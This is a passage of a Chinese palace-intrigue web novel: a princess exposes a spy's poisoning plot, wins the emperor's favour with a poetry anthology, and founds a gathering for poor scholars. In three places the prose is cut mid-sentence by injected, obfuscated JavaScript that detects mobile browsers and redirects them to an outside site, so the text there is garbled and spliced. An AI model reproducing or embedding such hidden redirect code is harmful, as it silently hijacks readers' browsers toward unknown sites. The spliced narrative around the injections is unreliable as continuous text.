“殿下看这里。”宋庭玉顺着他手指的方向看过去,百合的花蕊颤颤巍巍,本应是鲜亮的嫩黄色,然而此花的顶端却带了点点暗红,像是有血迹溅在了上面。 “此毒唤作朱雀红,毒性不强却效果明显,人一旦吸入便会头昏不适、呼吸困难,乃至晕厥,只是一般来说此毒并不会危及人的性命,况且剂量不大,想来是李姑娘一向体弱,又对百合花粉不服,才会严重至此。” “她是怎么中毒的?” 林徵鸣将盒子打开,取出里面的精巧的药丸:“朱雀红要进入人体方能起效,想必是李姑娘看到了被扔在林子里的百合花,拿起来问闻了闻,一来她不知花中有毒,二来她不知自己对百合花粉不服,才会中毒。” “将带毒的百合放在本宫房里,目的就是给本宫下药,可是这毒又没有什么致命之效,那她是什么目的呢?”宋庭玉看着林徵鸣手中的盒子,一言不发。 林徵鸣将解药给李幼宜服下,果真很快见效,他又开了一副治疗不服之症的方子,只说是调养身体的,让沈青禾带回去。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362246|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,畅和园里的太医姗姗来迟,见李多宜已经无碍,又看了林徵鸣开出的方子,纷纷汗颜,连连告罪。 宋庭玉见他们一个个岁数不小,懒得多言,好在人已经没事了,摆摆手让他们下去。 留了林徵鸣和管事去煎药,宋庭玉一个人回了房,坐在桌前细细思索。 前十几年,她在王都一向低调,若不是当街鞭打孙见章的事,恐怕已经有人忘了还有这么一个公主。她自问同王都众人没有恩怨,所以,究竟是谁要害她?又为什么在好不容易抓住一个机会之后,仅仅选择了这样不痛不痒的方式?杨珠儿的身份究竟是什么? 她面色不愉,讨厌事情超出自己掌控的感觉。 菘蓝进来,见屋里没有其他人,才放心道:"殿下,杨珠儿哭闹不已,只说自己不知道是怎么回事。问起房里为什么解药,她也只说是给自己备下的。现下,影卫已经将人带回府里,以待殿下决断。还有,从她身上搜出了这个。" 宋庭玉抬眼,是一块莹润的白玉无事牌。 她接过,对着灯细细查看,上好的石料被精美的雕工雕琢出一个圆润的方形玉牌,还隐隐透光,玉牌的一面没有字,另一面有细细的云纹,借着光看不太清纹路的样式,她伸出手细细摸了摸,突然一皱眉。 “拿眉粉来。” 菘蓝赶忙去她的梳妆台前翻找,找出一根很久没有过的黛笔,宋庭玉接过,将薄如蝉翼的宣纸盖在无事牌上,用黛笔在上面细细地描画,不一会儿,无事牌上的纹路就显现在了宣纸上。 菘蓝低下身子凑过来看了一会儿,惊呼一声:“上面有字!” 宋庭玉点点头,拿起纸仔细看去,那层层叠叠的纹路下面竟藏着一行字! “宣和五年王世子赐。”菘蓝一个字一个字认出来,背上起了一阵冷汗:“这是南梁世子的玉牌!” 宋庭玉将纸张放在桌上,起身踱了几步,转回身看着桌上的玉牌微微出神,半晌道:“宣和是南梁的年号,这是南梁世子萧和延赐给杨珠儿的,杨珠儿今年十九岁,识毒理,会想出这样不动声色下药的法子,绝不是一般人。本宫听闻,南梁世子于民间广征孤苦伶仃的孩子,为他们寻名师,培养成自己的心腹,这些人三百六十行皆由,组成了一只不容小觑的力量。杨珠儿只怕就是其中的一位。朱雀红不是一般的额毒药,你也看见了,至少带出来的太医没人知道。她将朱雀红放在百合花的花芯中,不易被人发现,又沾了水,毒性更易发作;同时她自己留有解药,就是算好了要在所有人一筹莫展的时候将解药献上,救下本宫,好顺理成章地留在本宫身边。只是,南梁为什么要派人到本宫身边来呢?” 菘蓝看着桌上的白玉无事牌,想到她们差一点就将一个异国的探子放了进来,也是后怕不已,心有余悸道:“还好殿下没有在房中摆花的习惯,不然就着了那贼人的道了!” “去审一审她!”宋庭玉面色严肃。 “殿下!”一个黑衣人径自进了书房,快步再到宋庭玉跟前,“不好了,杨珠儿自尽了!” “你说什么?”宋庭玉神情凌厉,“你们没有搜身吗?不是让你们好好看住她!” 黑衣人是宋庭玉的影卫之一,如今也是十足懊恼:“关起来前搜过身了,属下推测毒药可能一直藏在她的口中,等她找到独处的实际,便咬破自尽了。请殿下责罚!” 宋庭玉深吸一口气,摆摆手疲惫道:“出去。” 影卫和菘蓝对视一眼,轻手轻脚退了出去,关上了门。 两人不敢离得太近,于是走出庭院,到了外面的廊下才低声交谈起来。于是,没有看见林徵鸣步履轻巧地闪身,从关押杨珠儿的后院一闪而过,一身黑衣隐没在夜色里。 14. 百花册 尽管春花宴上事端频出,可毕竟只有公主府的几个人知道。李幼宜在畅和园中毒一事,也让林徵鸣以误食了不合适的东西导致不服之症压了过去,加之李幼宜自己本知道,自己闻不得百合的味道,只不过是无意中看见林徵鸣拦了一下抱着花的人,同他说了几句什么之后,那人将花扔在了林子里。她心生好奇,凑了上去,本以为没什么大事,却不想惹出这么大的风波,自是不敢多言。 镇国公府的人不明就里,只以为是伺候李幼宜的人不尽心,对宋庭玉的慷慨细心反而连连道谢。 除了这样几件烦心的小事外,这场春花宴,达到了宋庭玉的预期。之后,昭平公主不再是王都上层中可有可无的人,而是真正炙手可热的文化名人。每逢休沐日,畅和园便会举办宴饮,邀请王都的文人雅士、诗书名人参加,唱和宴饮好不热闹,流传出来的诗文佳作也被林徵鸣编撰成册,人人争相传诵,传到景元帝的案头。 他本就是个喜好附庸风雅的文人皇帝,读了几首诗,大为欣喜,诗兴大发,不仅酬诗相和,还亲自为畅和园改了名。“玉昭园”的御赐牌匾就这样取代了流传几个王朝的畅和园,“玉昭诗会”也成为王都名流士子争相参与的文化盛会。 元夏一朝,立朝不过三代,太祖起兵于汉水,一生戎马倥偬、南征北战,落下不少伤病,建朝没几年就传位于先帝,自己在汉水龙兴之地修建了一座行宫颐养天年,却没过几年就驾崩了。先帝幼而孱弱,长而精力不济,亲政不过三载便病逝。 景元帝继位时二十岁,年轻时雷霆手腕稳住了因最高权力之位频繁传承而引发的隐隐动荡,年轻时勤勉为政、夙兴夜寐,一日不肯携懈怠,待朝堂渐渐稳定、呈现出百姓安居乐业、隐隐有盛世之象时,景元帝已亲政三十载,居高位已久,朝堂又牢牢把握在他一个人的手中,不免志得意满,觉得功绩可比史上贤明之君,开始享受自己的胜利果实。于是将每日一次的小朝会改为五日一次,大朝会更是少见,将议事之权下放于左右二相,他自己则一边追求长生不老之术,一边广开后宫,耽于享乐。 近些年来,他虽不怎么理事,却在吃喝玩乐上颇有几分新奇的主意,于是身体每况愈下,到了季节更替的时候,免不了大病一场。 这日,宋庭玉带着林徵鸣夜以继日赶工出来的诗册,施施然进了宫。 府里,林徵鸣了无生趣地摊在躺椅里,揉揉自己酸痛的手腕,心道:老师都没让我这么勉力过,果然是色令智昏啊! “殿下,陛下今日心绪不佳,正歇着呢,若是有什么脾气不佳的时候,万望您小心回话,别再气着他。” 李介远远见了宋庭玉的轿辇,快走几步迎了上来,殷勤地扶着她的胳膊,在她耳边低声嘱咐几句。宋庭玉见他的样子与之前来公主府的时候判若两人,知道这皇宫里不乏拜高踩低的主儿,嗤笑一声:“李公公对父皇倒是忠心耿耿,怎么,又有那个不长眼的惹了父皇生气?” 李介苦涩一笑,叹了口气:“主子们的事情,哪里是我们能置喙的。前些日子陛下召见了太子殿下,想是太子殿下回话哪里不对,惹得陛下发火,养了好些日子呢。” 宋庭璟,宋庭玉的异母兄长,先皇后留下的唯一一个孩子,也是景元帝膝下唯一的一个儿子,十三岁时被册立为太子,如今已有八年。 宋庭玉对太子这个人没有什么印象,之前景元帝年富力强,自然不需要一个太子分走自己的权力;如今内阁六部运转得宜,以吴文新为首的几位老臣在朝中盘踞二十余载,太子又不算很出色,所以想从他们手中分一杯羹也不是容易的事。 “难为你了。”宋庭玉淡淡道,李介却仿佛很受用似的,脸上挂着笑。 进了内殿,宋庭玉才意识道李介所说的景元帝“养了好些日子”是什么意思。 殿内比她第一次进宫的时候还要昏暗,明明是晴空万里的白日,屋子里却拉着厚厚的帘子,由于长时间不开窗,整个室内弥漫着药与熏香、病人的气味混合在一起的气息,让人忍不住皱眉。在这样混合的气味里,宋庭玉鼻尖微微一动,不动声色往桌上的香炉看了一眼,里面燃着新的香,是新提拔的太医院院首姜缮新进的香,有安神、助眠的功效,当然,若是在这香中再加入一味药,就会使人多梦且不易醒,在梦中一遍又一遍回顾自己的一生,直面那些自己清醒的时候不愿意面对的事。 前一种香名“宁绪”,后一种香名“唤意”,仅差一味药,却是截然相反的效果。这是姜缮潜心十几年的钻研成果,用在天下之首的景元帝身上,也不算埋没了。 她跟着李介缓步走到龙榻前,景元帝微微眯着眼睛,似在假寐,听见脚步声,慢慢睁开眼睛,哑声道:“是谁?” 李介躬身,谨慎回道:“陛下,是昭平殿下来了。” “哦,是玉儿啊,来做什么?”景元帝艰难地撑着起身,李介连忙起身帮他将一个软枕垫在身后,还要给他盖上被子,却被他不满地一把挥开,斥道:“不是什么大毛病,干什么做出这幅样子来?一个个的,盼着朕死呢?” 李介一惊,忙跪在地上连连叩头:“奴才该死!万万没有此等大不敬的心思!” 景元帝其实也知道李介忠心耿耿,只是他缠绵病榻多日不见好,实在是心情烦闷,前些日子太子又频频请安,言语之间又打听自己状况的样子,眼见着不安好心,他心里一急,好了几分的病又严重起来。此时见了宋庭玉,只以为她也是一样的心思,没什么好气道:“平日一个个不见进宫,此时倒是跑得勤快!说吧,又有什么事?” 宋庭玉暗道他实在是性情古怪,咽下了原本准备好的话,从袖子里拿出诗册,双手恭敬呈上,道:“儿臣愚钝,功课欠佳,实在羞于面见父皇,唯恐辜负了父皇的拳拳培养之意,故而不敢进宫面圣。近日儿臣学习本朝诗文,父皇的诗作深奥幽微,言浅意深,儿臣恐自己不能理解其中真意,想着再读几日,没成想在文渊阁看见了后宫诸位娘娘的诗作,读来颇有意趣。故儿臣将所学编辑成册,写了自己的一些所得浅见,今带进宫来,请父皇考校。” 景元帝眼皮一抬,倒是起了几分兴趣:“哦?后宫娘娘们的诗作?拿来朕看看。” 宋庭玉将诗册递给李介,李介忙双手接过,呈到景元帝面前。 景元帝抬起干枯无力的手,信手翻了几页,脸上的表情越发放松,时不时停下来细细吟读几句,嘴角挂起了笑意。 “怎么连这首也摘进去了,这是那年中秋宫宴上,慧美人的戏作,她出身不高,没读过什么书,本不会作诗,朕命她即兴来上几句,她急得要落泪,却也吟出一句来,想是情之所至,竟颇有几分机敏。你若不提,朕都忘了。” 宋庭玉面上带着笑,仿佛一个在听长辈讲故事的孩童,看得景元帝心软几分。他翻看着诗册,有时还要对旁边的批注点评几句,读到精彩处夸宋庭玉有长进,面色红润,一改方才的病气缠身。李介看了,暗暗松了口气,心里对宋庭玉更是敬服不已。 看着看着,不知翻到了谁的诗作,景元帝突然停住了手,眼睛死死地看着上面的诗句,目不转睛。 宋庭玉垂头不语,显然心里有数。 半晌,景元帝才长长叹了一口气,仿佛从自己的回忆中脱身出来,目光哀切地看着立在下方的宋庭玉,语带感叹:“玉儿长大了,是个好孩子,你有心了。” 他将诗册放在手上,抚摸着古朴的封面,喃喃:“这诗很好,当年后宫里诗文之风盛行,朕心甚慰,如今朕年纪大了,她们竟也放松了起来。李介,让文渊阁的人将此书印至全国各地,尤其是女子都要好好诵读此书,以诗书之德规范言行。” “遵旨。” 宋庭玉忙道:“还请父皇为此书取个名字。” 景元帝点点头,沉吟片刻:“就叫《百花诗册》吧。李介,拿笔来。” 李介忙将一旁准备好的笔沾了墨,恭敬呈上,景元帝凝神聚力,在诗册的封面上题下四个大字。 宋庭玉微微一笑。 《百花诗册》的横空出世无疑是宋庭玉继玉昭诗会后的又一个必杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈伯叹了口气,麻木回道:“就是因为这处长久没人住,年久失修,所以才不让您住进来啊。” “哦,原来是这样,没关系,我不介意,我人先住进来,到时候再让他们慢慢修。”他仿佛一个巡视领地的猫科动物,已经将这处小院子当做了自己的地盘。 “又怎么了?”宋庭玉已经习惯了给他们两个处理矛盾,习以为常地走上前。 陈伯先声夺人:“殿下,林先生说他那处院子蚊虫多了,所以想换一个住处。” “我可没说是因为蚊虫多啊,我才不是那样吃不得苦的人。”林徵鸣从房间里探出脑袋,大声反驳。见宋庭玉已经走了过来,他放下怀里的一大堆东西,凑近了压低声音,又见陈伯离得很近,忙拉着宋庭玉走得远了些,估摸了一下距离,觉得他听不到了,才小声道:“这处院子离殿下住的地方更近,我住在这里可以随时保护殿下。” 宋庭玉一脸怀疑:“你?保护本宫?”她上上下下打量了林徵鸣一眼,笑眯眯道:“敢问你习武几年呐?” 林徵鸣正色道:“不是那个保护,我虽不会武功,可也有能派的上用场的地方。殿下难道忘了畅和园里的事?” 提起这个宋庭玉就烦心,杨珠儿死得不明不白,虽说没有闹出什么大事来,可线索却中断了,她至今不知南梁人派人到她身边究竟是为了什么,下毒一事也只能不了了之。 陈伯年纪大了,听不得宋庭玉险些被人暗害的事,所以林徵鸣将她偷偷拉到一边耳语,落在陈伯眼里,这人一边说话一边看他,像是在对殿下说他的坏话,只是哪有人说坏话是当着人面儿的呢!陈伯好笑,转过身去,仿佛是给他面子。 宋庭玉看着林徵鸣一脸得意,实在不知道他整日和陈伯这位老人家较劲儿到底有什么乐趣,但看他实在开心,便没有告诉他,公主府戒备森严,连外面的苍蝇都飞不进来一只,哪里有什么下毒的危险。 “好吧,就依你的意思。只不过本宫还有事情要同你讲,你到书房里来。” 林徵鸣脸色一苦,蔫吧吧地答应了。 15. 清雅集会 书房里等着四个着便装的人,有老有少,俱是面色肃然。 林徵鸣不明就里,跟在宋庭玉身后进了书房,坐在里面的四个人交换了个眼色,显然知道他就是王都闹得沸沸扬扬的昭平公主的那位入幕之宾。几人不知想到了什么,脸色都不太好看。所以只在宋庭玉进来时端端正正行了礼,对她身后的林徵鸣视若无睹。 如果林徵鸣对元夏朝廷的事情上点儿心,就会认出,这几人皆是如今朝堂上的清流一派。 元夏太祖皇帝得以推翻前朝,建立新政,离不开前朝三大世家的帮扶。这三大世家分别是镇国公李家、先皇后娘家杜家以及中书令吴文新的本家吴家。 镇国公年纪大了,已然致仕,只有一个李多宜在朝中任金吾卫大将军,官至四品,只是毕竟武将,说不上话,好在镇国公也没有多余的心思,只想儿孙绕膝、颐养天年。 吴文新早年与本家不和,父亲去世之后就分了家,自己带着母亲生活,老母亲去世之后家里也只剩下他一个人,年逾不惑,依然没有夫人,在朝中积威甚重,称得上是独揽大权。 先皇后的娘家杜家是百年望族,族中子弟甚多,本家一支的家主杜修闻官居太子太傅兼吏部尚书,在朝中说话很有分量,与吴文新常常政见不合。 除此之外,朝中还有一些并非出身望族的清流一派,他们大多是通过科举的方式入朝,二十余载过去,也已经成长为一支不容小觑的力量。只是景元帝一朝推崇举荐入仕,寒门士子越发难以出头。 说来奇怪,自古以来文人与武将之间总是有着或多或少的矛盾,可是到了宋庭玉的祖父宁致恒这里却什么矛盾都抵不过一场推心置腹的豪饮,他自己虽是个屠户,可十分敬重读书人,不仅请了寒门出身的士子为自己的女儿开蒙教书,还兴办族学,为寒门子弟提供一条出头的路。受过他资助的寒门士子良多。宁致恒帮人不求回报,于他而言不过是举手之劳,可对于受他恩惠的寒门士子来说,却是雪中送炭。 二十年过去,那些受过他资助的学子已经逐渐成长为朝廷的中坚力量。 坐在宋庭玉下首第一位的是兵部尚书许止戈,四十有余,蓄着长髯,面色严肃,一看便知是个不好说话的人。二十年前,他是少年风流的武状元。 “来了?坐吧,不必拘礼。本宫今日入宫看望父皇,父皇赐下了时令的果子与野味,晚上都在府里用饭吧。” 宋庭玉摆摆手让几人坐下,自己坐到上首的位子。林徵鸣本想站在她身后,被她往下一指:“你也坐。” 林徵鸣顿了顿:“谢殿下。” 许止戈旁边的大理寺少卿秦少安欲说些什么,被他一个眼神制止了。 “陛下已经有些日子没有上朝了,不知陛下龙体康健否?”许止戈对面,一个与他年龄相仿的人问,那是刑部郎中武承偲。 “劳各位大人挂念,父皇身体倒还说得过去,只是精神头不太好,前些日子太子去了宫里一趟,听说父皇又生了一场气,将养了好些日子。” 提起太子,众人皆是沉默不语,有些不知说什么,说多了有妄议储君的嫌疑,可是不说吧,太子行事又十分出格。 “前些日子有同僚私底下和我说,在绿歌坊见到了太子和承安侯家的公子,那绿歌坊是什么地方,堂堂储君,整日与这些人厮混在一起,唉。”武承偲身边的年轻人是个急脾气,快人快语道。 “放肆!太子岂容你议论!”武承偲斥道。 宋庭玉放下茶杯,抬眼看去,疑惑道:“这位大人不曾见过,这是?” 武承偲恭敬道:“这是刑部新来的员外郎,杨汝之,是前年的进士。” 杨汝之听了,忙起身行礼:“臣见过殿下。” 宋庭玉摆摆手让他坐下:“前年的进士,本宫是不曾见过。如今到了刑部,跟着武大人,倒是一件好差事,你好好跟着学,元夏需要你这样的年轻人。” 宋庭玉随口勉励几句,杨汝之激动不已,忙点点头,一双眸子似有泪光闪烁,恨不得此刻就为她肝脑涂地。 林徵鸣喝了一口茶,犹嫌不足,又拎起桌子上的茶壶给自己倒了一杯。 许止戈叹了口气,状似感慨几句:“殿下没见过他们也正常,别说是殿下了,就是我们几个时常出入前朝的,都不见得能时常见到这几届的进士。除了前一届的状元去了地方作县令,其余人现在皆在文渊阁抄书呢!各个衙门都是我们几个老家伙撑着,实在是心有余而力不足啊。” 宋庭玉沉吟道:“本宫记得这些年致仕的官员不在少数,怎么,六部都没有空缺出来吗?” 武承偲摇了摇头:“殿下有所不知,不是没有空缺,而是都已经被各大家族提前打好了招呼。管你是状元郎还是什么,哪里比得过拜入高门大户。就算是汝之,也是在文渊阁待了好几年,我依稀记得当年会试时有个后生很是出色,才把他要了来。如今跟着我做事,也好过一日日在黄页虫堆里消磨。” 宋庭玉点了点头,叹道:“如今吏部尚书本就是大族出身,几个世家在王都盘根错节,彼此之间又通过姻亲紧密联系,想要从中突破,实在不是一件容易的事。” 秦少安道:“其实殿下之前的春花宴倒是给了臣很大的启发。” 宋庭玉自然知道他们今日过来事什么意思,只是这话不能由她之口说出,非得让他们自己提出来、她再允准不可。于是疑惑道:“什么启发?” 秦少安是个急脾气,虽然来的路上许止戈已经多次告诉他不要着急,可是为了元夏的事,不由他不急,见宋庭玉有兴趣,急忙开口道:“这些年我朝兴诗文、办学会,不少人将这当做扬名立万从而被举荐入朝的大好机会,就如之前太子殿下的东宫诗会,臣曾听闻,东宫诗会上参加的大多是门阀氏族家的子弟,普通学子连入门的机会都没有,据说连魁首都已经内定,只是不知被一个南梁人截了道。” 说起这个,秦少安也有几分幸灾乐祸,只是想起故事的主角、东宫诗会额魁首如今就好端端坐在这里,而且以一节白身入了公主府,不由露出一个宛如吃了苍蝇的表情。 宋庭玉淡笑:“东宫诗会的事情本宫早有耳闻,你们面前坐着的,不就是此次诗会的魁首?” 林徵鸣没想到宋庭玉会突然点到他,一脸茫然地抬起头。 秦少安恨自己多嘴,忙道:“殿下,臣的意思是,玉昭诗会开了个好头,只是毕竟举办在畅和园,一般的读书人想进也进不来。不知可否举办一个能让广大寒门子弟参与其中的诗会,也好为我元夏擢选英才啊。” 宋庭玉没有说话,似乎在思考。 底下四个人齐齐看着她,皆没有再说话,想来这四人此番前来也是为了这件事。 “林先生怎么看?” 林徵鸣一惊,那四个人也没想到宋庭玉会有这样一问,齐刷刷看着他。 被这样四双目光灼灼的眼睛看着,实在犹如泰山压顶,林徵鸣直觉自己后背都要冒出汗来了,挤出一个笑,艰难道:“草民觉得,有道理。” 宋庭玉看着他,似乎再问:然后呢? 林徵鸣莫名其妙:怎么还要说,不是已经表过态了吗?难道还要问我其他的?可是我要说什么啊? 宋庭玉面露疑惑,不知他怎么突然停住了。 武承偲似乎看出了什么,接过话道:“秦大人这个法子倒是很好,只是若直接与玉昭诗会打擂台对着干,却不太好,这不仅是把殿下推了出去,更是把殿下架在了火坑上。只是,若没有一个人出头,这诗会恐怕也办不下去……”他沉吟片刻,看着林徵鸣,想起宋庭玉方才的态度,眼前一亮道:“不如就请林先生来做东吧。” 林徵鸣:“啊?” “好!”许止戈和武承偲不愧是老狐狸,不用对视都明白了对方的意思,心下不约而同地感叹:这昭平公主不知是真的有意栽培还是色迷了心窍,不仅书房议事都将这个南梁人带在身边,还要给他铺路,果真是看重极了。 只是他们心里再不喜欢林徵鸣,也知道这是公主殿下开出的条件:可以借着公主府的名义去做,但必须让这姓林的做主。 许止戈自我安慰:没关系,好歹事是做成了。 林徵鸣面色惊疑不定,缓缓转过头,在四人看不见的地方使劲给宋庭玉使眼色:怎么就让我去啊?我不行啊! 宋庭玉不知他是什么意思,还以为终于有了正事做,他忘乎所以,喜悦之情溢于言表。即使心里知道学而优则仕是古今文人的夙愿,可心里到底有几分不痛快,仿佛被人用过即抛似的。 她难得反思了一下自己的心态:外祖父资助寒门士子不求回报,自己却想着让自己的幕僚一直跟着自己,实在是不应该。 “甚好,就这么说定了,既是雅事一桩,亦能聚书万卷,招延才学之士,只是要与玉昭诗会做出个区分,就叫清雅集会吧,此外还需有个地方供诸位集会……这样,玉昭园不远处就是本宫的一个庄子,风景甚好,就在那里集会吧。林先生带几个府里的人,先将庄子收拾出来,供诸位学子举办诗会。另外,”她沉吟半晌:“本宫想着,每年会试、会试时有外地的学子过来考试,王都中房屋租金高,很多寒门子弟恐没有多余的钱财,居住得不好岂能好好发挥出真本事,庄子里有不少空置的房屋,你拿个章程出来,看能不能便宜租给他们,收几个铜板也就罢了。” 几人没想到还有这样的意外之喜,齐齐起身:“谢殿下。” 林徵鸣一脸麻木:“是。” “那边就是畅和园吗?”一个气喘吁吁的年轻书生道,伸手擦了擦汗,袖子下方打了几个补丁。 “蒋兄,你说错了,那里早就改名玉昭园了!说起来,玉昭诗会上的诗集我也买了呢!你们真应该看看。”一个打扮比蒋书生好一些的书生道,“你们从南边来,不知道王都诗会实在是兴盛极了,其中就属昭平公主的玉昭诗会最为出名。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362248|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切,那又如何?反正是他们王公贵族自娱自乐,哪儿算得上什么聚天下英才的诗会!”又一个年轻书生啐了一口道。 一开始的蒋姓书生笑笑,好脾气地安慰道:“这位兄台不必心急,如今我们不也在诗会的路上,我在南方时听说昭平公主最是礼贤下士之人,对我们这些没有功名的学子亦是客气得很,还专门让我们到清雅园里参加诗会,这可是好机会啊!” “是啊是啊!”几人纷纷附和。 那个脾气不好的书生也不好多说什么,望着远处的山峦忧心忡忡道:“只是这清雅园距城中有一段距离,不知今晚还能不能赶回去。” “赶回去作甚?也没地方住,我那个客栈的老板拜高踩低地很,见我拿不出多余的银子住上房,竟想方设法将我赶了出去!再去问时,他就涨价了!呸!这些奸商!” “啊?那你今晚住在哪里啊?” 书生闷闷不乐道:“不知道呢,唉,这王都真是步步难行啊。” 几人说着话,不知不觉就走到了清雅园的门口。园子大门敞开,门口支着一张小桌,一个老者站在桌边,招呼着要进园子的人排好队,一个年轻男子坐在桌前,往一个册子上记着什么,应该是在登记入园之人的名姓。 桌前排着长队,大约有十几个人,皆是灰布长衫,带着方方的黑色书生帽,有几个人背着大大的书箱,像是把自己所有的行李都带来了。 几人对视一眼,纷纷站在队伍后面。姓蒋的书生见站在自己前面的人不仅背了书,还带了被褥等用品,吃了一惊,拍拍那人的肩头问:“兄台,请问这是即将举行清雅诗会的地方吗?” 那人转过身,点点头:“自然。” 蒋书生一笑,指了指他背上的东西:“那兄台怎么带了如此多的东西,还有被褥,难不成这诗会将持续几日?” 那人嘿嘿一笑,见他风尘仆仆,虽衣衫干净,可掩不住的疲惫,笑道:“你们是这几日才从外地来的吧?这清雅园里不仅有集会,还能住宿呢!昭平殿下怜我等远道而来,王都不便居住,特地提供了空余的房间为我们居住,只需五个铜板,便可一直居住到会试结束。只是有些额外的要求,诸如每日需要在园子里干些活儿、帮帮忙,另外就是遵守园子里的一些章程,这可比住在王都里好多了啊!” “还有这等好事?”蒋书生一惊。 “那是,不过名额有限,你们赶紧登记吧!” 蒋书生将始末同身后的同伴们讲了,几人俱是一脸兴奋,摩拳擦掌,一定要争取到一个留下来的机会。他们都是远道而来的书生,为了明年的会试准备许久,只是囊中羞涩,若能住在清雅园里,既能与同窗交流,又能节省下一大笔钱,真是好事啊! 队伍行进得很快,不过一炷香的功夫,就排到了蒋书生。 “姓名。” “哦,蒋荣。”他傻乐着看着眼前的年轻男子,低头看他面前已经写了满满一页的名册,吃了一惊:嚯!真是一手好字。 “从哪儿来?要住宿吗?” “从苏州来,需要住宿。” 对方点点头,记下他的名字,一边的老者递给他一个木牌,笑道:“先进去吧,里面会有人告诉你住在哪里。” 蒋荣没想到事情竟然这么顺利,规规矩矩行了一个书生礼:“多谢!” “如何了?今日还是这么多人?” 蒋荣正要往里走,没成想竟然听到了一个女子的声音,他吃了一惊,回头看去,就见一个十分年轻的女郎从一辆停在园子外的马车上下来,一身轻便骑装,腰间配剑,显得身量修长挺拔,头发拢成一束,在脑后高高扎起,随着走动一摇一晃。 坐在桌边的年轻男子正要起身,被她摆摆手拒绝,只缓步走到桌边,看着册子上的名单。 年轻男子道:“还好,已经比昨日少了,明日就是最后一日,应该不会有很多人了。” 女子点点头,又对老者嘱咐道:“一定要注意留心,万万不可让别有用心之人混进去。我去里面看看。”说着,她拍拍年轻男子的肩头,径自进了园子里。 年轻男子看了她的背影好一阵儿,才依依不舍似的,收回了目光。 排在门外的书生们哪里见过这样英姿飒爽的女子,议论纷纷。蒋荣看着她的背影消失在园子里,回头问道:“敢问兄台,那位姑娘是?” 林徵鸣注意到他的神色,翻了个白眼,冷哼道:“姑娘?那可是昭平公主!” “什么?那就是公主殿下?!” “公主殿下原来是这样的吗?” “这还是我第一次见到皇室中人呢!哎呀,我这形象……失礼了,真是失礼了!” 众人的议论仿佛在一瞬间失去了声音,只有林徵鸣的话,如石破天惊一般炸响在蒋荣的耳边,他怔怔看着空荡荡的园中小径,鼻尖仿佛还残留着她翩然而去时带起的香风,痴痴地喃喃: “原来这就是昭平殿下。” 16. 玉容糕 尽管为了清雅诗会又出钱又出场地,花了不少心思,宋庭玉自己却没有过多的精力放在上面。随着烙印着“昭平”名号的各类文化盛会在王都盛行,宋庭玉在王都文人心目中的地位不断提高,不仅是寒门子弟感谢她,世家贵族也喜欢在玉昭园举行各类集会,时不时还有宫中的娘娘、朝中的大员出面主持点评一二,无疑是一个向上爬的好机会。 渐渐地,宋庭玉的身份不仅仅是一个久居宫外的公主,而是元夏文化的代表人物,民间稚童读了《玉昭集》、《百花册》,也要念上一句昭平公主的好。“凤栖梧桐,庭生玉树”的童谣在王都乃至整个元夏愈唱愈响亮,以至于民间甚至有人为宋庭玉建了生祠娘娘庙,有传闻称拜玉昭娘娘就可蟾宫折桂、得以高中,往来学子、百姓络绎不绝,香火甚旺。 宋庭玉没有去制止这些,或者说,如今的局面正是她一手促成的,自然也在她预料之内。景元帝子嗣不丰,她就是要让所有人都知道,皇室之中如今不仅有太子,还有一位响当当的公主殿下。 不过,随着立夏之日的临近,宋庭玉的精力全都放在了一件事上。 “殿下,您这样不行的,牛乳加少了,糕点就不成型了。”公主府的小厨房里,做饭的嬷嬷一脸无奈地看着她。忍了半天,还是开口劝道:“殿下,您做不惯这些,还是让奴婢们来吧。” 宋庭玉长叹一口气,将手里的碗放到一边,生无可恋地看着身后桌子上一字排开的几个失败品,笑道:“给你添麻烦了。” “殿下这是说的哪里的话,奴婢们可担待不起!”嬷嬷将宋庭玉放到一边的碗洗干净了,边干边说:“殿下能有这份心思,已经是至真至孝了,老夫人知道了,一定会欣慰的。殿下忙了已一早上,先歇息一会儿吧。” 宋庭玉抹了一把额头上的汗,也不讲究,搬了张藤椅,坐到了厨房的院子里。 天气越来越热了,连日的晴天让温度节节攀升,即使公主府的后院种了许多树,也不能抵挡一丝一毫的热浪。还没入夏,已经能听到阵阵蝉鸣不绝于耳。 宋庭玉思忖:今年这天气,这是奇怪得很。 忽而一阵带着水汽的凉风吹过,让她烦躁的心总算能够平静一二,只是从湖面上吹来的风到底敌不过从太阳勃发而出的热气,没一会儿,她的额头又渗出汗来,湿湿黏黏的,很是难受。 她靠在躺椅里闭上眼睛,心里算着日子,还有三日,就是立夏了。 